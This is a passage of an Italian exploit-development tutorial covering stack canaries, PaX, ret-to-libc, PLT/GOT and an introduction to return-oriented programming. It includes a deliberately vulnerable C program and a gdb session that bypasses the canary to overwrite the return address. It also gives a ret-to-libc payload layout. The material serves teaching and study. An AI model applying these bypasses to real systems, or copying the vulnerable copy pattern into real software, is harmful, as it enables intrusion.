Propolice agisce su questa struttura modificando l'ordinamento degli elementi dello stack in
modo da eliminare il rischio che copie incontrollate vadano a sovrascrivere indirizzi di
ritorno, frame pointer precedenti e variabili locali. Stackguard può far questo grazie ad un
processo di traslazione degli elementi che agisce a livello di pre-processore. Riproponiamo
dunque un nuovo schema per lo stack, questo verte a mostrare come la memoria viene
riorganizzata,
_____________________
| |
| Local variables (C) | Safe location
|_____________________|
| |
| Arrays[] (B) | Possible attack
|_____________________|
| |
| canary |
|_____________________|
| |
| previous frame ptr | -- Protected areas --
|_____________________|
| |
| return address | ""
|_____________________|
| |
| arguments (A) | ""
|_____________________|
| |
| |
Questo modello più generalizzato gode delle seguenti proprietà:
- Le locazioni di memoria fuori dal frame pointer non possono essere danneggiate quando la
funzione ritorna.
- La locazione B, è l'unico posto dove l'attacco può essere effettuato, questo perchè? Se una
copia sovrascrivesse lo stack frame, anche il valore "canary" (da stackguard introdotto)
verrebbe sovrascritto. Prima di ritornare dalla funzione il valore canary viene controllato, se
compromesso il processo viene terminato. Dovrebbe essere chiaro il sistema.
- Un attacco al puntatore di una variabile all'esterno del frame della funzione non avrebbe
successo.
- A maggior ragione un attacco al puntatore di una variabile all'interno del frame della
funzione non avrebbe successo, dato che si trova ora in una posizione sicura.
Stackguard è sicuramente più complesso e interessante come sistema di sicurezza. Tanto per non
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 71 di 193
dimenticarci del tutto di redmond diciamo anche che sulle piattaforme windows esistono sistemi
similari, anche se non del tutto, a questi due. L'applicazione di PaX e Stackguard/Propolice
rendono l'exploit molto molto più difficile. A prima vista uno oserebbe dire anche
"impossibile!"
Una cosa è evidente, gli accessi non autorizzati ai danni di società stanno diminuendo perchè
sempre meno persone sono in grado di capire e sviluppare le nuove tecniche per bypassare questi
controlli e pian piano i sistemi si stanno aggiornando.
Prima di analizzare e valutare l'efficienza di questi due componenti ricordo una cosa.
Generalmente questi due sistemi sono presenti entrambi. Pertanto l'analisi delle possibili
vulnerabilità deve essere eseguita con entrambi i sistemi attivi non con un singolo sistema di
protezione alla volta. E' facile tirare delle precoci conclusioni dicendo che quel sistema non è
sicuro. Sbagliato. Occorre valutare l'efficienza dei due sistemi insieme.
Vediamo di fare un pò di esperienza, scriviamo il programma seguente:
--------- test0C.c ------------------------
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
get_esp(void) {__asm__ volatile ("movl %esp, %eax\n");}
int main(int argc, char **argv, char **envp)
{
int a; // Integer variable
long *p; // Pointer
char buffer[16]; // Array
void (*function)(); // Function pointer
a = 2147483647;
memset(buffer,0x41,16);
printf("\nmain is at: 0x%08X\n\n",(u_int)&main);
// Elements localization
printf("Stack structure:\n");
printf("ESP: 0x%08X\n",(u_int)get_esp());
printf("int a is at: 0x%08X\n",(u_int)&a);
printf("long *p is at: 0x%08X\n",(u_int)&p);
printf("char buffer[] is at: 0x%08X\n",(u_int)buffer);
printf("(*function)() is at: 0x%08X\n",(u_int)&function);
printf("int argc is at: 0x%08X\n",(u_int)&argc);
printf("char *argv[] is at: 0x%08X\n",(u_int)&argv[0]);
printf("char *envp[] is at: 0x%08X\n",(u_int)&envp[0]);
}
--------- test0C.c END ---------------------
Compilamo disabilitando, come già sappiamo fare, stackguard:
root@HackLab:~# gcc -fno-stack-protector -ggdb test0C.c
A questo punto avviamo il programma con gdb "brekkando" in modo da non terminare il programma e
prendiamo nota della posizione di ogni elemento che abbiamo dichiarato nel sorgente nello stack,
root@HackLab:~# gdb a.out -q
(gdb) break 28
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 72 di 193
Breakpoint 1 at 0x804851e: file PaX.c, line 28.
(gdb) r
Starting program: /root/a.out
main is at: 0x0804842E
Stack structure:
ESP: 0xBFCC84D4
int a is at: 0xBFCC850C
long *p is at: 0xBFCC8508
char buffer[] is at: 0xBFCC84F8
(*function)() is at: 0xBFCC84F4
int argc is at: 0xBFCC8530
char *argv[] is at: 0xBFCC85B4
char *envp[] is at: 0xBFCC85BC
Breakpoint 1, main (argc=1, argv=0xbfcc85b4, envp=0xbfcc85bc) at PaX.c:28
28 }
In questo modo possiamo cercare i nostri elementi nello stack, quello che possiamo già dire è
che gli elementi sono stati allocati nello stack nell'ordine che abbiamo usato noi nel sorgente,
come ci aspettavamo.
Ecco quindi come sono ordinati:
ESP -- low addresses --
...
function pointer: 0xBFCC84F4
buffer[16]: 0xBFCC84F8
pointer: 0xBFCC8508
integer variable: 0xBFCC850C
argc: 0xBFCC8530
argv[]: 0xBFCC85B4
envp[]: 0xBFCC85BC
...
EBP -- high addresses --
Lo stack:
(gdb) x/100x $esp
0xbfcc84e0: 0x080486ca 0xbfcc85bc 0x00000010 0xb7f95e0e
0xbfcc84f0: 0xb8044979 0x08049ff4 0x41414141 0x41414141 // Gli '0x41', é il
buffer,
0xbfcc8500: 0x41414141 0x41414141 0xbfcc8528 0x7FFFFFFF // di seguito il
puntatore e la variabile 'a'
0xbfcc8510: 0xbfcc8530 0xb8080ff4 0xbfcc8588 0xb7f3d685
0xbfcc8520: 0x08048540 0x08048370 0xbfcc8588 0xb7f3d685
0xbfcc8530: 0x00000001 0xbfcc85b4 0xbfcc85bc 0xb809bbb8 // argc che è 1,
argv[] e envp[]
0xbfcc8540: 0x00000001 0x00000001 0x00000000 0x08048264
0xbfcc8550: 0xb8080ff4 0x08048540 0x08048370 0xbfcc8588
0xbfcc8560: 0x38ea61b3 0x464c95a3 0x00000000 0x00000000
...
Questa è la situazione a cui siamo abituati.
Ora compiliamo il programma utilizzado stackguard (il default) e facciamo la stessa analisi.
root@HackLab:~# gcc -ggdb PaX.c
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 73 di 193
root@HackLab:~# gdb a.out -q
(gdb) break 28
Breakpoint 1 at 0x8048595: file PaX.c, line 28.
(gdb) r
Starting program: /root/a.out
main is at: 0x0804848E
Stack structure:
ESP: 0xBFAC2AB4
int a is at: 0xBFAC2AE8
long *p is at: 0xBFAC2AE4
char buffer[] is at: 0xBFAC2AEC
(*function)() is at: 0xBFAC2AE0
int argc is at: 0xBFAC2B20
char *argv[] is at: 0xBFAC2BA4
char *envp[] is at: 0xBFAC2BAC
Breakpoint 1, main (argc=1, argv=0xbfac2ba4, envp=0xbfac2bac) at PaX.c:28
28 }
(gdb) x/50x $esp
0xbfac2ac0: 0x0804874a 0xbfac2bac 0x00000010 0x00000000
0xbfac2ad0: 0x00000000 0x00000000 0xbfac2bac 0xbfac2ba4
0xbfac2ae0: 0xb804b979 0x08049ff4 0x00007fff 0x41414141
0xbfac2af0: 0x41414141 0x41414141 0x41414141 0xa7071000
0xbfac2b00: 0xbfac2b20 0xb8087ff4 0xbfac2b78 0xb7f44685
0xbfac2b10: 0x080485c0 0x080483d0 0xbfac2b78 0xb7f44685
0xbfac2b20: 0x00000001 0xbfac2ba4 0xbfac2bac 0xb80a2bb8
0xbfac2b30: 0x00000001 0x00000001 0x00000000 0x08048289
0xbfac2b40: 0xb8087ff4 0x080485c0 0x080483d0 0xbfac2b78
0xbfac2b50: 0x56764031 0xe6ac9421 0x00000000 0x00000000
0xbfac2b60: 0x00000000 0xb80b6090 0xb7f445ad 0xb80beff4
0xbfac2b70: 0x00000001 0x080483d0 0x00000000 0x080483f1
0xbfac2b80: 0x0804848e 0x00000001
L'ordinamento che troviamo è questo:
ESP -- low addresses --
...
function pointer: 0xBFAC2AE0
pointer: 0xBFAC2AE4
integer variable: 0xBFAC2AE8
buffer[16]: 0xBFAC2AEC
argc: 0xBFAC2B20
argv[]: 0xBFAC2BA4
envp[]: 0xBFAC2BAC
...
EBP -- high addresses --
La cosa più evidente è la posizione del buffer nello stack, questo è stato traslato verso EBP
per diminuire il numero delle variabili attaccabili. Ma dove è la variabile canary? Possiamo
predire la sua posizione cercando di capirlo guardando lo stack, ma questo non è di fondamentale
importanza sappiamo che viene sempre inserita dopo il frame pointer.
Già che siamo in gdb disassembliamo main e andiamo a vedere la routine inserita da stackguard
che ha il compito di controllare che il ritorno della funzione venga eseguito correttamente.
Prologo ed epilogo di tutte le funzioni avranno queste istruzioni in più. (le prestazioni del
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 74 di 193
sistema peggiorano leggermente)
Ci interessa la parte finale di main:
...
0x08048582 <main+244>: mov -0x30(%ebp),%eax
0x08048585 <main+247>: mov %eax,0x4(%esp)
0x08048589 <main+251>: movl $0x804874a,(%esp)
0x08048590 <main+258>: call 0x8048398 <printf@plt>
0x08048595 <main+263>: mov -0xc(%ebp),%edx
0x08048598 <main+266>: xor %gs:0x14,%edx
0x0804859f <main+273>: je 0x80485a6 <main+280>
0x080485a1 <main+275>: call 0x80483a8 <__stack_chk_fail@plt> <<---- routine di controllo
0x080485a6 <main+280>: add $0x40,%esp
0x080485a9 <main+283>: pop %ecx
0x080485aa <main+284>: pop %ebx
0x080485ab <main+285>: pop %ebp
0x080485ac <main+286>: lea -0x4(%ecx),%esp
0x080485af <main+289>: ret
End of assembler dump.
Un approfondimento:
(gdb) x/10i 0x80483a8
0x80483a8 <__stack_chk_fail@plt>: jmp *0x804a010
0x80483ae <__stack_chk_fail@plt+6>: push $0x20
0x80483b3 <__stack_chk_fail@plt+11>: jmp 0x8048358 <_init+48>
...
(gdb)
Le seguenti sono le istruzioni chiave:
0x08048598 <main+266>: xor %gs:0x14,%edx
0x0804859f <main+273>: je 0x80485a6 <main+280>
0x080485a1 <main+275>: call 0x80483a8 <__stack_chk_fail@plt>
0x080485a6 <main+280>: ....
La variabile canary è puntata da '%gs:0x14', attraverso un xor viene controllato il suo valore,
se non è cambiato l'istruzione successiva fa proseguire il programma saltando a main+280,
altrimenti la funzione __stack_chk_fail viene chiamata, questa termina il programma scrivendo
anche un riga di log, che avverte di un possibile attacco.
Questa funzione è definita in panic.c,
...
#ifdef CONFIG_CC_STACKPROTECTOR
/*
* Called when gcc's -fstack-protector feature is used, and
* gcc detects corruption of the on-stack canary value
*/
void __stack_chk_fail(void)
{
panic("stack-protector: Kernel stack is corrupted in: %p\n",
__builtin_return_address(0));
}
EXPORT_SYMBOL(__stack_chk_fail);
#endif
...
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 75 di 193
Le caratteristiche di questi due sistemi non si limitano a ciò che ho descritto, ve ne sono di
altre, che vedremo a tempo debito, ci siamo comunque accorti della triste realtà dei nostri
giorni. I sistemi PaX e stackguard sono ora molto diffusi, presenti in tutte le distribuzioni
Linux e precauzioni analoghe sono presenti da windows NT 6.0 in poi. Abbiamo bisogno di un
sistema alternativo a ciò che abbiamo visto fino ad ora.
Nel corso degli anni, vari sono stati i modi per bypassare alcuni dei sistemi di sicurezza, PaX
a sua volta ha rilasciato varie patch sempre più restrittive, senza far mancare gli effetti
collaterali.
Per risolvere il problema dello stack non eseguibile, la sequenza dell'attacco è stata cambiata
totalmente, si è pensato di utilizzare al posto dell'indirizzo prossimo a quello del buffer,
l'indirizzo di una funzione contenuta nella libreria libc, linkata assieme all'eseguibile.
Infatti tali librerie un tempo venivano caricate con indirizzi statici. (Si prenda come
riferimento il file maps visto prima)
In questo caso è quindi possibile eseguire un attacco denominato "Return-to-libc". Nulla di
complicato, immaginiamo il seguente scenario...
----------------------------------
buffer | return_address | ecc....
----------------------------------
In questo caso sovrascrivendo lo stack che cosa dobbiamo iniettare nella memoria del processo?
----------------------------------
buffer | return_address | ecc....
----------------------------------
overrun --------------------------------------------->
------------------------------------------------------------
buffer fill-up | inLib_function | dummy | arg_1 | arg_2 | arg_3 ....
------------------------------------------------------------
Dovrebbe esservi chiaro, buffer fill-up è una serie di valori random di cui non ci interessa
nulla...(basta che non contengano byte nulli) servono a riempire il buffer fino ad arrivare al
return_address. Questo viene sovrascritto con un indirizzo relativo ad una funzione, ad esempio
system() della libc. dummy è l'indirizzo di ritorno di system. arg_1, 2 e 3 sono tutti gli
eventuali argomenti di cui abbiamo bisogno, nel nostro caso ce ne basterà uno.
Trovare l'indirizzo di system è molto semplice (se siamo in assenza di ASLR), ad esempio:
root@HackLab:~# gdb -q a.out
(gdb) break main
Breakpoint 1 at 0x80488f6: file main.c, line 33.
(gdb) r
Starting program: /root/RBOF/a.out
[Thread debugging using libthread_db enabled]
[New Thread 0xb7f286b0 (LWP 6288)]
[Switching to Thread 0xb7f286b0 (LWP 6288)]
Breakpoint 1, main (argc=1, argv=0xbf8d1824) at main.c:33
33 {
(gdb) p system
$1 = {<text variable, no debug info>} 0xb80954f0 <system>
Questo attacco ha di per sè comunque alcune limitazioni, intanto sarà possibile chiamare una
sola funzione, mentre per riuscire a far qualcosa è necessario, nella maggior parte dei casi,
poterne effettuare alcune.
La limitazione può essere eliminata, a seconda dei casi, eseguendo un attacco chiamato "esp
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 76 di 193
lifting". Ma l'eseguibile deve essere compilato con il flag -fomit-frame-pointer. In alternativa
esiste un'altra variante chiamata molto simpaticamente "frame faking".
Le cito giusto per completezza e per consentirvi di approfondire eventualmente. Tutte e tre le
tecniche sono comunque simili e si basano sull'utilizzo di una funzione di libreria statica.
Altro problema che non abbiamo tirato in ballo è la variabile "canary", sistemata prima del
frame pointer. Questa solo in alcuni casi può essere lasciata intatta dopo uno stack overrun.
Per risolvere invece il problema della randomizzazione dei VA, questo per quanto riguarda un
attacco classico, è eseguire più tentativi, ovvero un approccio "brute-force". Questo è
conveniente se il programma non crasha. Perchè se il processo esegue una nuova execve() un nuovo
contesto di VA viene generato invalidando i nostri tentativi. Se invece il programma si limita a
rieffettuare una fork() abbiamo più possibilità.
Il problema di questi ultimi è che il kernel è in grado di accorgersi dell'attacco brute-force
terminando il processo.
Concludendo, vediamo alcuni comandi molto utili per l'operazione di analisi.
Il comando seguente visualizza lo stato di tutti i flag relativi alla protezione PaX su un
eseguibile o libreria con formato elf,
root@HackLab:/bin# chpax -v ls
----[ chpax 0.7 : Current flags for ls (PeMRxS) ]----
* Paging based PAGE_EXEC : enabled (overridden)
* Trampolines : not emulated
* mprotect() : restricted
* mmap() base : randomized
* ET_EXEC base : not randomized
* Segmentation based PAGE_EXEC : enabled
Il seguente è molto utile per analizzare i file elf, ovvero visualizza molte informazioni su
header e sezioni di questo, nell'esempio che segue visualizzo tutti i simboli presenti,
root@HackLab:/bin# readelf -s ls
Symbol table '.dynsym' contains 105 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 583 FUNC GLOBAL DEFAULT UND abort@GLIBC_2.0 (2)
2: 00000000 29 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.0 (2)
3: 00000000 82 FUNC GLOBAL DEFAULT UND sigemptyset@GLIBC_2.0 (2)
4: 00000000 433 FUNC GLOBAL DEFAULT UND localeconv@GLIBC_2.2 (3)
5: 00000000 10 FUNC GLOBAL DEFAULT UND dirfd@GLIBC_2.0 (2)
6: 00000000 87 FUNC GLOBAL DEFAULT UND __cxa_atexit@GLIBC_2.1.3 (4)
7: 00000000 61 FUNC GLOBAL DEFAULT UND strcoll@GLIBC_2.0 (2)
8: 00000000 148 FUNC GLOBAL DEFAULT UND fputs_unlocked@GLIBC_2.1 (5)
....
Infine objdump, che già abbiamo utilizzato in precedenza, può essere utile anche esso per la
visualizzazione di informazioni dell'header,
root@HackLab:/bin# objdump -x ls
ls: file format elf32-i386
ls
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 77 di 193
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08049b20
Program Header:
PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
filesz 0x00000120 memsz 0x00000120 flags r-x
INTERP off 0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
filesz 0x00000013 memsz 0x00000013 flags r--
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x00016eb4 memsz 0x00016eb4 flags r-x
LOAD off 0x00016ef0 vaddr 0x0805fef0 paddr 0x0805fef0 align 2**12
filesz 0x000003a0 memsz 0x0000081c flags rw-
DYNAMIC off 0x00016f04 vaddr 0x0805ff04 paddr 0x0805ff04 align 2**2
filesz 0x000000e8 memsz 0x000000e8 flags rw-
NOTE off 0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
....
0x0f] (Arch: LINUX) - Altri punti di vista
Up
Ci sono molte situazioni dove l'exploit è comunque possibile. La ricerca della situzione che
permette lo sfruttamento del bug è naturalmente più ardua e richiede ben più fortuna di prima.
Quando utilizziamo la tecnica più comune, la sovrascrittura viene intercettata, il programma
terminato e viene scritta una riga di log che riporta il probabile attacco a base di stack
overflow.
Si tenga presente il seguente programma:
--------- test0D.c ------------------------
#include <stdio.h>
#include <string.h>
/* Test vulnerable program - second argument is shellcode payload, it overwrite ret */
int main(int argc,char**argv)
{
if(argc != 3) { fprintf(stderr,"Arguments?\n"); exit(1); }
char buffer_one[32];
char buffer_two[16];
int EBP;
// Passing 20 for offset
int offset = atoi(argv[1]);
// Protected copy
strncpy(buffer_one,argv[2],32);
__asm__ volatile (
"movl -0x8(%%ebp), %0;"
:"=r"(EBP));
printf("Canary after copy: 0x%08X\n",EBP);
// Unprotected copy
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 78 di 193
strcpy(buffer_two+offset,buffer_one);
__asm__ volatile (
"movl -0x8(%%ebp), %0;"
:"=r"(EBP));
printf("Canary: 0x%08X\n",EBP);
}
--------- test0D.c ------------------------
E' abbastanza comune durante le operazioni di formattazione di stringhe, vedere costrutti di
questo tipo. Ovvero la copia di stringhe in altri array con l'utilizzo di offset di copia.
Spesso questi offset possono essere affetti da errori come per esempio quelli legati al segno.
In questo caso l'offset è controllabile direttamente con un argomento.
L'offset da utilizzare sarà tutta la lunghezza del buffer più altri 4 bytes per superare la
variabile canary. In questo modo la copia comincerà solo dopo la variabile di controllo inserita
da stackguard ma sovrascriverà comunque l'indirizzo di ritorno.
Ho inserito due inline assembly per visualizzare il valore della variabile canary prima e dopo
la copia. Questa non deve essere alterata.
Proviamo...
root@HackLab:~# gcc -g test0D.c
bypasscanary.c: In function 'main':
bypasscanary.c:7: warning: incompatible implicit declaration of built-in function 'exit'
root@HackLab:~# chpax -v a.out
----[ chpax 0.7 : Current flags for a.out (PeMRxS) ]----
* Paging based PAGE_EXEC : enabled (overridden)
* Trampolines : not emulated
* mprotect() : restricted
* mmap() base : randomized
* ET_EXEC base : not randomized
* Segmentation based PAGE_EXEC : enabled
L'utility chpax ci aiuta a capire quali protezioni sono attive, compilando con il default di gcc
4.3.2 avremo randomizzazione di mmap() e libc.
Inoltre stackguard inserisce la variabile canary per il rilevamento dell'attacco.
root@HackLab:~# gdb a.out -q
Inseriamo un breakpoint su main,
(gdb) break main
Breakpoint 1 at 0x804855b: file bypasscanary.c, line 6.
Per ora ci limiteremo ad inviare un payload inutile, una sequenza di caratteri A. L'offset
abbiamo già precisato deve essere di 20 bytes.
(gdb) r 20 $(python -c "print 'A'*20")
Starting program: /root/a.out 20 $(python -c "print 'A'*20")
Breakpoint 1, main (argc=3, argv=0xbfecde34) at bypasscanary.c:6
6 {
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 79 di 193
Proseguiamo fino all'istruzione precedente a quella che copia la stringa nell'altra.
(gdb) n
7 if(argc != 3) { fprintf(stderr,"Arguments?\n"); exit(1); }
(gdb) n
13 int offset = atoi(argv[1]);
(gdb) n
16 strncpy(buffer_one,argv[2],32);
(gdb) n
18 __asm__ volatile (
(gdb) n
22 printf("Canary after strcpy: 0x%08X\n",EBP);
(gdb) n
Canary after strcpy: 0x26C0F000
25 strcpy(buffer_two+offset,buffer_one);
Il valore di canary è 0x26C0F000, questo è una valore casuale, generato in modo dipendente dalla
piattaforma. Di seguito possiamo vedere questo valore nello stack e, più precisamente, vediamo
che si trova 20 bytes dopo la fine del primo buffer. Quest'ultimo inizia a 0xbfecdd60 e finisce
a 0xbfecdd7f. La copia pertanto inizierà da 0xbfecdd94 e proseguirà per 20 bytes sovrascrivendo
l'indirizzo di ritorno.
(gdb) x/30 $esp
0xbfecdd30: 0x0804870c 0x26c0f000 0x00000020 0x00000000
0xbfecdd40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfecdd50: 0xbfecde34 0x00000000 0x00000014 0x26c0f000
0xbfecdd60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfecdd70: 0x41414141 0x00000000 0x00000000 0x00000000
0xbfecdd80: 0xb80c2ff4 0x08049ff4 0xbfecdda8 0x08048669
0xbfecdd90: 0x26c0f000 0xbfecddb0 0xbfecde08 0xb7f7f685
0xbfecdda0: 0x08048650 0x08048490
(gdb) n
27 __asm__ volatile (
(gdb) n
31 printf("Canary: 0x%08X\n",EBP);
(gdb) n
Canary: 0x26C0F000
32 }
Dopo la copia canary è rimasta intatta, abbiamo così bypassato il sistema di sicurezza inserito
da stackguard.
Di seguito vediamo come in effetti l'indirizzo di ritorno salvato nello stack ora vale
0x41414141. Proseguendo con il programma otterremo un SIGSEGV dato che tentiamo di accedere a
quella locazione.
(gdb) x/30 $esp
0xbfecdd30: 0x08048729 0x26c0f000 0x00000020 0x00000000
0xbfecdd40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfecdd50: 0xbfecde34 0x00000000 0x00000014 0x26c0f000
0xbfecdd60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfecdd70: 0x41414141 0x00000000 0x00000000 0x00000000
0xbfecdd80: 0xb80c2ff4 0x08049ff4 0xbfecdda8 0x08048669
0xbfecdd90: 0x26c0f000 0x41414141 0x41414141 0x41414141
0xbfecdda0: 0x41414141 0x41414141
(gdb) continue
Continuing.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 80 di 193
Program received signal SIGSEGV, Segmentation fault.
0x08048630 in main (argc=Cannot access memory at address 0x41414141
) at bypasscanary.c:32
32 }
In condizioni di stack eseguibile, questo programma può essere sfruttato per eseguire codice
arbitrario sul sistema vittima con permessi dell'applicazione. Ad esempio è possibile effettuare
l'attacco visto prima denominato "ret-to-libc".
Ma abbiamo già detto che anche gli indirizzi delle librerie sono rilocati in modo casuale da
mmap() nelle ultime versioni del kernel. Fatto stà che questo attacco è possibile su sistemi non
recentissimi.
0x10] (Arch: LINUX) - Sezioni .plt e .got
Up
Prima di proseguire dedico questo breve capitolo alle sezioni .plt e .got.
La libc è un libreria utilizzata da moltissimi kernel. Questa fornisce un interfacciamento per
applicazioni e servizi. In questo modo essi possono dialogare con l'hardware. Questa libreria è
dunque una raccolta di funzioni che non fanno altro che richiamare altre syscall del kernel
fornendo una interfaccia universale alle applicazioni.
Nel capitolo precedente abbiamo parlato dell'attacco "ret-to-libc". Bloccato dalle nuove
restrizioni sulla memoria.
Ora partiamo da quello che già sappiamo, quando un processo ha necessità di chiamare una
funzione di libreria utilizza tramite una sezione denominata ".plt", ovvero "procedure linkage
table".
Un programma di test:
#include <stdio.h>
void main(void) {
printf("Hello world!\n");
}
root@HackLab:~/RET-TO-LIBC# gcc simple.c
simple.c: In function 'main':
simple.c:3: warning: return type of 'main' is not 'int'
root@HackLab:~/RET-TO-LIBC# gdb a.out -q
(gdb) disass main
Dump of assembler code for function main:
0x080483c4 <main+0>: lea 0x4(%esp),%ecx
0x080483c8 <main+4>: and $0xfffffff0,%esp
0x080483cb <main+7>: pushl -0x4(%ecx)
0x080483ce <main+10>: push %ebp
0x080483cf <main+11>: mov %esp,%ebp
0x080483d1 <main+13>: push %ecx
0x080483d2 <main+14>: sub $0x4,%esp
0x080483d5 <main+17>: movl $0x80484b0,(%esp)
0x080483dc <main+24>: call 0x80482f4 <puts@plt>
0x080483e1 <main+29>: add $0x4,%esp
0x080483e4 <main+32>: pop %ecx
0x080483e5 <main+33>: pop %ebp
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 81 di 193
0x080483e6 <main+34>: lea -0x4(%ecx),%esp
0x080483e9 <main+37>: ret
End of assembler dump.
In questo caso gcc ottimizza printf() con puts(), ma non cambia il nostro discorso...
l'istruzione: "0x080483dc <main+24>: call 0x80482f4 <puts@plt>" esegue una chiamata ad un
indirizzo che NON è l'indirizzo di puts() nelle libc.
Dato che un programma può utilizzare ripetutamente funzioni contenute all'interno di librerie, è
utile disporre di una tabella di riferimento.
Una sezione speciale nei binari funge allo scopo, la ".plt".
Eccola:
root@HackLab:~/RET-TO-LIBC# objdump -d -j .plt ./a.out
./a.out: file format elf32-i386
Disassembly of section .plt:
080482c4 <__gmon_start__@plt-0x10>:
80482c4: ff 35 f8 9f 04 08 pushl 0x8049ff8
80482ca: ff 25 fc 9f 04 08 jmp *0x8049ffc
80482d0: 00 00 add %al,(%eax)
...
080482d4 <__gmon_start__@plt>:
80482d4: ff 25 00 a0 04 08 jmp *0x804a000
80482da: 68 00 00 00 00 push $0x0
80482df: e9 e0 ff ff ff jmp 80482c4 <_init+0x30>
080482e4 <__libc_start_main@plt>:
80482e4: ff 25 04 a0 04 08 jmp *0x804a004
80482ea: 68 08 00 00 00 push $0x8
80482ef: e9 d0 ff ff ff jmp 80482c4 <_init+0x30>
080482f4 <puts@plt>:
80482f4: ff 25 08 a0 04 08 jmp *0x804a008
80482fa: 68 10 00 00 00 push $0x10
80482ff: e9 c0 ff ff ff jmp 80482c4 <_init+0x30>
Da questa sezione vediamo che l'istruzione jmp legata alla puts è quella che si trova
all'indirizzo 0x80482f4: "jmp *0x804a008"
Un esame più attento ci fa notare che *0x804a008 è un puntatore ad un indirizzo. Questo
significa che l'indirizzo reale della funzione puts si trova memorizzato a 0x804a008. Questi
indirizzi si trovano in un'altra sezione, la ".got" (global offset table) su cui invece è
possibile scrivere. Tali indirizzi possono essere ottenuti direttamente sempre con objdump con
l'opzione "-R" (dynamic-reloc),
root@HackLab:~/RET-TO-LIBC# objdump -R ./a.out
./a.out: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT __gmon_start__
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 82 di 193
0804a004 R_386_JUMP_SLOT __libc_start_main
0804a008 R_386_JUMP_SLOT puts
0x11] (Arch: LINUX) - Return-Oriented Programming, introduzione
Up
Riassumendo, cosa dovremo fare? Non potendo più iniettare ed eseguire codice sullo stack per
tutti i motivi che abbiamo visto fino ad ora, ciò che rimane possibile fare è una specie di
attacco in stile ret-to-libc utilizzando codice già esistente nell'immagine di processo.
L'immagine di processo è colma di routine di cui possiamo disporre, come wrapper della libc.
Posizioneremo dunque dei valori sullo stack in modo da invocare funzioni in modo del tutto
arbitrario con arbitrari argomenti.
Antecedente a questa avanzata tecnica il classico attacco ret-to-libc era considerato limitante
per alcuni motivi:
1 L'attaccante è in grado di invocare solo funzioni già esistenti nella sezione text del
programma o nelle librerie che sono linkate assieme.
2 Il codice può essere solo rettilineo, ovvero una chiamata dopo l'altra, senza possibilità di
modificare registri direttamente.
3 Rimuovendo certe funzioni (non utilizzate) dell'immagine di processo si può limitare le
possibilità dell'attaccante.
Nel seguito del capitolo dimostreremo come è possibile eseguire codice arbitrario senza
richiedere l'invocazione di alcuna funzione pre-esistente nell'immagine. In questo modo la
rimozione delle funzioni inutilizzate della libc non sarà di aiuto.
In pratica questa tecnica fa uso di piccole sequenze di codice denominate "gadgets" composte da
due o tre istruzioni di codice.
Queste si trovano già nell'immagine di processo, sistemate li dal compilatore.
Ad esempio prendiamo in esame il codice seguente, si tratta dell'entry point di una data
funzione / programma che sia...
f7 c7 07 00 00 00 test $0x00000007, %edi
0f 95 45 c3 setnzb -61(%ebp)
Immaginiamo di interpretare il codice un byte dopo.... la codifica cambia completamente:
c7 07 00 00 00 0f movl $0x0f000000, (%edi)
95 xchg %ebp, %eax
45 inc %ebp
c3 ret
Quanto frequentemente questi casi capitano all'interno del codice dipende dall'architettura e
dalle caratteristiche del linguaggio in questione, questa viene chiamata "geometria". Il codice
può essere interpretato in modo diverso a seconda del punto di inizio della lettura.
Nel codice x86 è abbastanza frequente trovare queste sequenze utili per i nostri attacchi, è
sufficiente soltanto una istruzione di ritorno, rappresentata del byte c3 per rendere utile la
sequenza.
Analizzando larghe porzioni di codice come le libc, si possono trovare molte di queste sequenze.
In qualsiasi spazio di codice sufficentemente largo ci sono un numero di istruzioni che
permettono ad un attaccante di essere in grado di controllare lo stack, mediante la tecnica ret-
to-libc che abbiamo appena introdotto, e capaci di eseguire delle istruzioni in modo arbitrario.
Vedremo in seguito anche alcuni algoritmi in grado di ricercare queste sequenze, questi non sono
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 83 di 193
di difficile comprensione.
La predisposizione dei "gadgets" è un processo piuttosto difficile e delicato, in relazione ai
classici attacchi ret-to-libc, ci sono 3 differenze fondamentali:
1 La sequenza del codice che invochiamo è molto breve, solitamente due o tre istruzioni che
fanno soltanto una piccola parte di lavoro. Negli attacchi ret-to-libc tradizionali, il blocco
prodotto è una intera funzione che svolge il compito fondamentale.
Di conseguenza, i nostri attacchi saranno ad un livello di astrazione più basso.
2 Generalmente le sequenze di codice che noi invocheremo non avranno ne prologo ne epilogo e non
saranno concatenate assieme durante l'attacco in un modo standard.
